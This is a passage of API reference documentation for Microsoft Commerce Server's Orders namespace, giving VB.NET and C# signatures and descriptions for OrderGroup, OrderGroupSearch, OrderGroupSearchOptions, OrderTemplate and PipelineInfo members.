Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup.Name Property (BCL)

The Name property is a read/write String that accesses the OrderGroup name.

Definition

[Visual Basic .NET]
Public Property Name As System.String
[C#]
public System.String Name {get; set;}

Property Value

The OrderGroup name.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup.OrderForms Property (BCL)

The OrderForms property is a read-only OrderFormCollection that retrieves the OrderForm collection associated with the OrderGroup object.

Definition

[Visual Basic .NET]
Public ReadOnly Property OrderForms As OrderFormCollection
[C#]
public OrderFormCollection OrderForms {get;}

Property Value

The OrderFormCollection object associated with the OrderGroup object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup.OrderGroupID Property (BCL)

The OrderGroupID property is a read-only Guid containing the GUID for the OrderGroup object.

Definition

[Visual Basic .NET]
Public ReadOnly Property OrderGroupID As System.Guid
[C#]
public System.Guid OrderGroupID {get;}

Property Value

The OrderGroupID property for the OrderGroup object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroup.ShippingTotal Property (BCL)

The ShippingTotal property is a read-only decimal that retrieves the shipping total from the OrderForm.ShippingTotal properties in this OrderGroup instance.

Definition

[Visual Basic .NET]
Public ReadOnly Property ShippingTotal As System.Decimal
[C#]
public System.Decimal ShippingTotal {get;}

Property Value

The shipping total for the OrderGroup object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup.StatusCode Property (BCL)

The StatusCode property is a read-only Int32 that retrieves the order group status code on this OrderGroup instance.

Definition

[Visual Basic .NET]
Public Overridable ReadOnly Property StatusCode As System.Int32
[C#]
public virtual System.Int32 StatusCode {get;}

Property Value

The status code for the OrderGroup object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup.SubTotal Property (BCL)

The SubTotal property is a read-only decimal that retrieves the subtotal for the OrderGroup object from the OrderForm.Subtotal properties in this OrderGroup instance.

Definition

[Visual Basic .NET]
Public ReadOnly Property SubTotal As System.Decimal
[C#]
public Decimal SubTotal {get;}

Property Value

The subtotal for the OrderGroup object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup.TaxIncluded Property (BCL)

The TaxIncluded property is a read-only Decimal that retrieves the OrderGroup instance total, including tax from the OrderForm.TaxIncluded properties in this OrderGroup instance.

Definition

[Visual Basic .NET]
Public ReadOnly Property TaxIncluded As System.Decimal
[C#]
public System.Decimal TaxIncluded {get;}

Property Value

The OrderGroup instance total including tax.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup.TaxTotal Property (BCL)

The TaxTotal property is a read-only decimal that retrieves the total amount of tax from the OrderForm.TaxTotal properties in this OrderGroup instance.

Definition

[Visual Basic .NET]
Public ReadOnly Property TaxTotal As System.Decimal
[C#]
public System.Decimal TaxTotal {get;}

Property Value

The tax totals from the associated OrderForm objects.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup.Total Property (BCL)

The Total property is a read-only decimal that retrieves the total amount for the order group instance. This amount includes shipping, handling, and tax.

Definition

[Visual Basic .NET]
Public ReadOnly Property Total As System.Decimal
[C#]
public System.Decimal Total {get;}

Property Value

The totals from the associated OrderForm objects.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup.Xml Property (BCL)

The Xml property is a read/write String that retrieves and sets the XML persistence format of the order group instance.

Definition

[Visual Basic .NET]
Public Property Xml As System.String
[C#]
public System.String Xml {get; set;}

Property Value

The XML persistence format of the order group instance.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroupSearch Class (BCL)

Abstraction of specifying criteria for order group searches.

Public Instance Constructors

Constructor | Description
OrderGroupSearch Constructor | Creates a new instance of the OrderGroupSearch class.
OrderGroupSearch (OrderContext) Constructor | Creates a new instance of the OrderGroupSearch class using the given order context.

Public Instance Methods

Method | Description
Search(OrderGroupSearchOptions) | Performs the specified search for order group information, and returns it as a DataSet.

Public Instance Properties

Property | Description
DateTimeColumnName | DateTime column name of interest for this search.
Description | Product description.
EndDateTime | DateTime search end value.
FirstName | First name of the user of interest.
LastName | Last name of the user of interest.
OrderContext | Gets or sets the OrderContext object to use for search.
OrderGroupID | Order group ID to search for.
OrderNumber | Order number to search for.
OrderStatusFilter | Specifies order group status codes to search for.
ProductID | Product ID to search for.
StartDateTime | DateTime search start value.
UserID | User ID to search for.
UserOrganizationID | User organization ID to search for.
UserOrganizationName | User organization name to search for.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearch Constructor (BCL)

Public Instance Constructor

Constructor | Description
OrderGroupSearch Constructor | Creates a new instance of the OrderGroupSearch class.
OrderGroupSearch (OrderContext) Constructor | Creates a new instance of the OrderGroupSearch class using the given order context.


OrderGroupSearch Constructor (BCL)

Use this method to create a new instance of the OrderGroupSearch class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public OrderGroupSearch(
);

Remarks

Constructs the OrderGroupSearch object using the CommerceContext.Current.OrderSystem object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearch (OrderContext) Constructor (BCL)

Use this method to create a new instance of the OrderGroupSearch class using the given order context.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal ordercontext As OrderContext _
)
[C#]
public OrderGroupSearch(
  OrderContext ordercontext,
);

Parameters

[Visual Basic .NET]
ordercontext
The OrderContext object to use.
[C#]
ordercontext
The OrderContext object to use.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearch Method (BCL)

Public Instance Methods

Method | Description
Search(OrderGroupSearchOptions) | Performs the specified search for order group information, and returns it as a DataSet.


OrderGroupSearch.Search (OrderGroupSearchOptions) Method (BCL)

Use this method to perform the specified search for order group information, and return it as a DataSet.

Definition

[Visual Basic .NET]
Public Function Search( _
  ByVal OrderGroupSearchOptions As OrderGroupSearchOptions _
) As System.Data.DataSet
[C#]
public System.Data.DataSet Search(
  OrderGroupSearchOptions OrderGroupSearchOptions
);

Parameters

[Visual Basic .NET]
orderGroupSearchOptions
OrderGroupSearchOptions instance to use.
[C#]
orderGroupSearchOptions
OrderGroupSearchOptions instance to use.

Return Value

DataSet containing the search results.

Remarks

This method wraps the SimpleFind method on the OrderGroupManager PIA object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearch Properties (BCL)

Public Instance Properties

Property | Description
DateTimeColumnName | DateTime column name of interest for this search.
Description | Product description.
EndDateTime | DateTime search end value.
FirstName | First name of the user of interest.
LastName | Last name of the user of interest.
OrderContext | Gets or sets the OrderContext object to use for search.
OrderGroupID | Order group ID to search for.
OrderNumber | Order number to search for.
OrderStatusFilter | Specifies order group status codes to search for.
ProductID | Product ID to search for.
StartDateTime | DateTime search start value.
UserID | User ID to search for.
UserOrganizationID | User organization ID to search for.
UserOrganizationName | User organization name to search for.


OrderGroupSearch.DateTimeColumnName Property (BCL)

The DateTimeColumnName property is a read/write String that contains the name of the DateTime column.

Definition

[Visual Basic .NET]
Public Property DateTimeColumnName As System.String
[C#]
public System.String DateTimeColumnName {get; set;}

Property Value

The name of the DateTime column.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearch.Description Property (BCL)

The Description property is a read/write String containing the product description.

Definition

[Visual Basic .NET]
Public Property Description As System.String
[C#]
public System.String Description {get; set;}

Property Value

The product description.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearch.EndDateTime Property (BCL)

The EndDateTime property is a read/write Datetime that contains the search DateTime end value.

Definition

[Visual Basic .NET]
Public Property EndDateTime As System.DateTime
[C#]
public System.DateTime EndDateTime {get; set;}

Property Value

The search DateTime end value.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearch.FirstName Property (BCL)

The FirstName property is a read/write String that contains the first name of the user of interest.

Definition

[Visual Basic .NET]
Public Property FirstName As System.String
[C#]
public System.String FirstName {get; set;}

Property Value

The first name of the user of interest.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearch.LastName Property (BCL)

The LastName property is a read/write String that contains the last name of the user of interest.

Definition

[Visual Basic .NET]
Public Property LastName As System.String
[C#]
public System.String LastName {get; set;}

Property Value

The last name of the user of interest.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearch.OrderContext Property (BCL)

The OrderContext property is a read/write OrderContext that gets or sets the OrderContext object for the search.

Definition

[Visual Basic .NET]
Public Property OrderContext As OrderContext
[C#]
public OrderContext OrderContext {get; set;}

Property Value

The OrderContext object for the search.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearch.OrderGroupID Property (BCL)

The OrderGroupSearchID is a read/write Guid that contains the order group ID to search for.

Definition

[Visual Basic .NET]
Public Property OrderGroupID As System.Guid
[C#]
public System.Guid OrderGroupID {get; set;}

Property Value

The order group ID to search for.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearch.OrderNumber Property (BCL)

The OrderNumber property is a read/write String that contains the order number to search for.

Definition

[Visual Basic .NET]
Public Property OrderNumber As System.String
[C#]
public System.String OrderNumber {get; set;}

Property Value

The order number to search for.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearch.OrderStatusFilter Property (BCL)

The OrderStatusFilter property is a read/write Int that specifies the order group status codes to search for.

Definition

[Visual Basic .NET]
Public Property OrderStatusFilter As System.Int32
[C#]
public System.Int32 OrderStatusFilter {get; set;}

Property Value

The order group status codes to search for. For more information, see OrderGroup.StatusCode.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearch.ProductID Property (BCL)

The ProductID property is a read/write String that contains the product ID to search for.

Definition

[Visual Basic .NET]
Public Property ProductID As System.String
[C#]
public System.String ProductID {get; set;}

Property Value

The product ID to search for.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearch.StartDateTime Property (BCL)

The StartDateTime property is a read/write Datetime that specifies the DateTime search start value.

Definition

[Visual Basic .NET]
Public Property StartDateTime As System.DateTime
[C#]
public System.DateTime StartDateTime {get; set;}

Property Value

The DateTime search start value.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearch.UserID Property (BCL)

The UserID property is a read/write Guid containing the user ID to search for.

Definition

[Visual Basic .NET]
Public Property UserID As System.Guid
[C#]
public System.Guid UserID {get; set;}

Property Value

The user ID to search for.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearch.UserOrganizationID Property (BCL)

The UserOrganizationID property is a read/write Guid that contains the user organization ID to search for.

Definition

[Visual Basic .NET]
Public Property UserOrganizationID As System.Guid
[C#]
public System.Guid UserOrganizationID {get; set;}

Property Value

The user organization ID to search for.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearch.UserOrganizationName Property (BCL)

The UserOrganizationName property is a read/write String that contains the user organization name to search for.

Definition

[Visual Basic .NET]
Public Property UserOrganizationName As System.String
[C#]
public System.String UserOrganizationName {get; set;}

Property Value

The user organization name to search for.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearchOptions Class (BCL)

Absracts order group search results specification.

Public Instance Constructor

Constructor | Description
OrderGroupSearchOptions Constructor | Creates a new instance of the OrderGroupSearchOptions class.

Public Instance Properties

Property | Description
Columns | Columns of interest.
FetchLineItemInformation | Indicates whether line item information should be retrieved from the database or not.
FetchOrderFormInformation | Specifies whether order form information should be retrieved as part of the search operation, or not.
PageNumber | Sets the page number of interest.
PageSize | Sets the page size.
SortColumnName | Column to sort by.
SortResultsInAscendingOrder | Specifies whether results should be retrieved sorted by ascending order on the sort column name.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearchOptions Constructor (BCL)

Public Instance Constructor

Constructor | Description
OrderGroupSearchOptions Constructor | Creates a new instance of the OrderGroupSearchOptions class.


OrderGroupSearchOptions Constructor (BCL)

Use this method to create a new instance of the OrderGroupSearchOptions class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public OrderGroupSearchOptions(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearchOptions Properties (BCL)

Public Instance Properties

Property | Description
Columns | Columns of interest.
FetchLineItemInformation | Indicates whether line item information should be retrieved from the database or not.
FetchOrderFormInformation | Specifies whether order form information should be retrieved as part of the search operation, or not.
PageNumber | Sets the page number of interest.
PageSize | Sets the page size.
SortColumnName | Column to sort by.
SortResultsInAscendingOrder | Specifies whether results should be retrieved sorted by ascending order on the sort column name.


OrderGroupSearchOptions.Columns Property (BCL)

The Columns property is a read-only StringCollection containing a the columns of interest.

Definition

[Visual Basic .NET]
Public ReadOnly Property Columns As System.Collections.Specialized.StringCollection
[C#]
public System.Collections.Specialized.StringCollection Columns {get;}

Property Value

The column name of interest.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearchOptions.FetchLineItemInformation Property (BCL)

The FetchLineItemInformation property is a read/write Boolean indicating whether line item information should be retrieved from the database or not.

Definition

[Visual Basic .NET]
Public Property FetchLineItemInformation As System.Boolean
[C#]
public System.Boolean FetchLineItemInformation {get; set;}

Property Value

Retrieves the line item information.

Remarks

The default value is False.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearchOptions.FetchOrderFormInformation Property (BCL)

The FetchOrderFormInformation property is a read/write Boolean that specifies whether order form information should be retrieved as part of the search operation, or not.

Definition

[Visual Basic .NET]
Public Property FetchOrderFormInformation As System.Boolean
[C#]
public System.Boolean FetchOrderFormInformation {get; set;}

Property Value

The order form information.

Remarks

The default value for this property is False.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearchOptions.PageNumber Property (BCL)

The PageNumber property is a read/write Int32 that sets page number of interest.

Definition

[Visual Basic .NET]
Public Property PageNumber As System.Int32
[C#]
public System.Int32 PageNumber {get; set;}

Property Value

The page number.

Remarks

The default value is 1.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearchOptions.PageSize Property (BCL)

The PageSize property is a read/write Int32 that sets page size.

Definition

[Visual Basic .NET]
Public Property PageSize As System.Int32
[C#]
public System.Int32 PageSize {get; set;}

Property Value

The size of the page.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearchOptions.SortColumnName Property (BCL)

The SortColumnName property is a read/write String that contains the column to sort by.

Definition

[Visual Basic .NET]
Public Property SortColumnName As System.String
[C#]
public System.String SortColumnName {get; set;}

Property Value

The column name to sort by.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroupSearchOptions.SortResultsInAscendingOrder Property (BCL)

The SortResultsInAscendingOrder property is a read/write Boolean that specifies whether results should be retrieved sorted by ascending order on the sort column name.

Definition

[Visual Basic .NET]
Public Property SortResultsInAscendingOrder As System.Boolean
[C#]
public System.Boolean SortResultsInAscendingOrder {get; set;}

Property Value

The search results in ascending order.

Remarks

If the sort column is not specified, then this property is ignored.

The default value is True.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderTemplate Class (BCL)

Encapsulates an order template in the Commerce order system. To create an OrderTemplate instance use the OrderContext.CreateOrderTemplate method.

Public Instance Methods

Method | Description
Clear | Clears all the order forms and the addresses associated with the OrderTemplate object.
Delete | Purges the OrderTemplate object from the underlying stores.
Dispose (Inherited from OrderGroup) | Releases resources used by this object.
GetEnumerator (Inherited from OrderGroup) | Retrieves an enumerator on this collection.
RunPipeline(PipelineInfo) (Inherited from OrderGroup) | Runs the stages of the specified pipeline.
RunPipeline(PipelineInfo, PipelineBase) (Inherited from OrderGroup) | Runs the stages of the specified pipeline.
Save | Persists the state of the OrderTemplate object with the specified template name to the underlying stores.
Save(String) | Persists the state of the OrderTemplate object with the specified template name to the underlying stores.

Public Instance Properties

Property | Description
Addresses (Inherited from OrderGroup) | Retrieves the collection of addresses associated with the OrderTemplate object.
HandlingTotal (Inherited from OrderGroup) | Retrieves the value of the saved_cy_handling_total key on the OrderGroup object.
Item(String) (Inherited from OrderGroup) | Retrieves and sets the value of a top-level property on the OrderGroup object.
LineItemCount (Inherited from OrderGroup) | Retrieves the count of all the line items on all the forms in the OrderTemplate object.
Name (Inherited from OrderGroup) | Accesses the order group name.
OrderForms (Inherited from OrderGroup) | Retrieves the order forms collection associated with this order group object.
OrderGroupID (Inherited from OrderGroup) | Accesses the order_group_id key on the OrderGroup.Value dictionary.
ShippingTotal (Inherited from OrderGroup) | Retrieves the value of the saved_cy_shipping_total key on the OrderTemplate object.
StatusCode | Accesses the order group status code on the OrderTemplate object.
SubTotal (Inherited from OrderGroup) | Retrieves the value of the saved_cy_oadjust_subtotal key on the OrderTemplate object.
TaxIncluded (Inherited from OrderGroup) | Retrieves the value of the saved_cy_tax_included key on the OrderTemplate object.
TaxTotal (Inherited from OrderGroup) | Retrieves the value of the saved_cy_tax_total key on the OrderTemplate object.
TemplateId | Retrieves the template ID of the OrderTemplate object.
Total (Inherited from OrderGroup) | Retrieves the value of the saved_cy_total_total key on the OrderTemplate object.
UserId | Retrieves the ID of the user associated with the OrderTemplate object.
Xml (Inherited from OrderGroup) | Accesses the XML format of the OrderTemplate object.

Protected Instance Methods

Method | Description
CheckState (Inherited from OrderGroup) | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases managed resources.

Remarks

An OrderTemplate object can be used to represent wish lists, recurring orders, shopping lists, or any other form of saved shopping basket. Multiple templates can exist for each user.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderTemplate Methods (BCL)

Public Instance Methods

Method | Description
Clear | Clears all the order forms and the addresses associated with the OrderTemplate object.
Delete | Purges the OrderTemplate object from the underlying stores.
Dispose (Inherited from OrderGroup) | Releases the unmanaged resources used by this class and optionally releases managed resources.
GetEnumerator (Inherited from OrderGroup) | Retrieves an enumerator on the collection.
RunPipeline(PipelineInfo) (Inherited from OrderGroup) | Runs the stages of the specified pipeline.
RunPipeline(PipelineInfo, PipelineBase) (Inherited from OrderGroup) | Runs the stages of the specified pipeline.
Save | Persists the state of the OrderTemplate object with the specified template name to the underlying stores.
Save(String) | Persists the state of the OrderTemplate object with the specified template name to the underlying stores.

Protected Instance Methods

Method | Description
CheckState (Inherited from OrderGroup) | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.


OrderTemplate.Clear Method (BCL)

Use this method to clear all the order forms and the addresses associated with the OrderGroup object.

Definition

[Visual Basic .NET]
Public Sub Clear( _
)
[C#]
public void Clear(
);

Remarks

This method wraps the Clear method of the OrderGroup class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderTemplate.Delete Method (BCL)

Use this method to purge the OrderTemplate object from the underlying stores.

Definition

[Visual Basic .NET]
Public Sub Delete( _
)
[C#]
public void Delete(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderTemplate.Dispose (Boolean) Method (BCL)

Use this method to release the unmanaged resources used by this class and optionally release managed resources.

Definition

[Visual Basic .NET]
Overrides Protected Sub Dispose( _
  ByVal disposing As System.Boolean _
)
[C#]
protected override void Dispose(
  System.Boolean disposing
);

Parameters

[Visual Basic .NET]
disposing
True if this was called from the Dispose method, False if called from the finalizer.
[C#]
disposing
True if this was called from the Dispose method, False if called from the finalizer.

Remarks

If this class is not sealed, derived classes can override this method to dispose of their resources. For more information, see the Microsoft .NET Framework Software Development Kit (SDK) documentation for implementing a Dispose method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderTemplate.Save Method (BCL)

Use this method to persist the state of the OrderTemplate object to the underlying stores.

Definition

[Visual Basic .NET]
Public Sub Save( _
)
[C#]
public void Save(
);

Remarks

The name of the template defaults to null.

This method wraps the SaveAsTemplate method on the Microsoft.CommerceServer.Interop.Orders.OrderGroupFreeThreaded type.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderTemplate.Save (String) Method (BCL)

Use this method to persist the state of the OrderTemplate object with the specified template name to the underlying stores.

Definition

[Visual Basic .NET]
Public Sub Save( _
  ByVal orderTemplateName As System.String _
)
[C#]
public void Save(
  System.String orderTemplateName
);

Parameters

[Visual Basic .NET]
orderTemplateName
Name of the OrderTemplate.
[C#]
orderTemplateName
Name of the OrderTemplate.

Remarks

This method wraps the SaveAsTemplate method on the Microsoft.CommerceServer.Interop.OrderGroup type.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderTemplate Properties (BCL)

Public Instance Properties

Property | Description
Addresses (Inherited from OrderGroup) | Retrieves the collection of addresses associated with the OrderTemplate object.
HandlingTotal (Inherited from OrderGroup) | Retrieves the value of the saved_cy_handling_total key on the OrderGroup object.
Item(String) (Inherited from OrderGroup) | Retrieves and sets the value of a top-level property on the OrderGroup object.
LineItemCount (Inherited from OrderGroup) | Retrieves the count of all the line items on all the forms in the OrderTemplate object.
Name (Inherited from OrderGroup) | Accesses the order group name.
OrderForms (Inherited from OrderGroup) | Retrieves the order forms collection associated with this OrderGroup object.
OrderGroupID (Inherited from OrderGroup) | Accesses the order_group_id key on the OrderGroup.Value dictionary.
ShippingTotal (Inherited from OrderGroup) | Retrieves the value of the saved_cy_shipping_total key on the OrderTemplate object.
StatusCode | Accesses the order group status code on the OrderTemplate object.
SubTotal (Inherited from OrderGroup) | Retrieves the value of the saved_cy_oadjust_subtotal key on the OrderTemplate object.
TaxIncluded (Inherited from OrderGroup) | Retrieves the value of the saved_cy_tax_included key on the OrderTemplate object.
TaxTotal (Inherited from OrderGroup) | Retrieves the value of the saved_cy_tax_total key on the OrderTemplate object.
TemplateId | Retrieves the template ID of this OrderTemplate object.
Total (Inherited from OrderGroup) | Retrieves the value of the saved_cy_total_total key on the OrderTemplate object.
UserId | Retrieves the ID of the user associated with this OrderTemplate object .
Xml (Inherited from OrderGroup) | Accesses the XML format of the OrderTemplate object.


OrderTemplate.StatusCode Property (BCL)

The StatusCode property is a read-only Int32 that retrieves the order group status code on the OrderTemplate class. This property overrides the StatusCode property from the parent OrderGroup abstract class.

Definition

[Visual Basic .NET]
Overrides Public ReadOnly Property StatusCode As System.Int32
[C#]
public override System.Int32 StatusCode {get;}

Property Value

The order group status code on this OrderTemplate object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderTemplate.TemplateId Property (BCL)

The TemplateId property is a read-only Guid that retrieves the template ID of this OrderTemplate object.

Definition

[Visual Basic .NET]
Public ReadOnly Property TemplateId As System.Guid
[C#]
public System.Guid TemplateId {get;}

Property Value

The template ID of this OrderTemplate object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderTemplate.UserId Property (BCL)

The UserId property is a read-only Guid that retrieves the ID of the user associated with this OrderTemplate class.

Definition

[Visual Basic .NET]
Public ReadOnly Property UserId As System.Guid
[C#]
public System.Guid UserId {get;}

Property Value

A Guid containing the ID of the user associated with this OrderTemplate class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineInfo Class (BCL)

Encapsulates the context dictionary passed down to execute a pipeline.

Public Instance Constructor

Constructor | Description
PipelineInfo Constructor(String) | Creates a new instance of the PipelineInfo class with the specified pipeline name.

Public Instance Properties

Property | Description
CacheManager | Accesses the CacheManager member.
CatalogContext | Accesses the CatalogContext member.
Item(String) | Accesses the indexer by name.
Language | Accesses the language member.
ProfileContext | Accesses the ProfileContext member.
Profiles | Gets the collection of profiles to use for targeting during the execution of the pipeline.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


PipelineInfo Constructor (BCL)

Public Instance Constructor

Constructor | Description
PipelineInfo Constructor(String) | Creates a new instance of the PipelineInfo class with the specified pipeline name.


PipelineInfo Constructor (String) (BCL)

Use this method to create a new instance of the PipelineInfo class with the specified pipeline name.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal pipelineName As System.String _
)
[C#]
public PipelineInfo(
  System.String pipelineName
);

Parameters

[Visual Basic .NET]
pipelineName
The name of the pipeline of interest.
[C#]
pipelineName
The name of the pipeline of interest.

Remarks

This method initializes the language property to CultureInfo.CurrentUICulture.

This method sets CacheManager, CatalogManager, ProfileService, and MessageManager keys.

For the Basket pipeline, this method also stores the CatalogConnectionString, Evaluator, and CacheName keys.

For the Total pipeline, this method also stores the TransactionConfig and ConnectionString keys.

Requirements

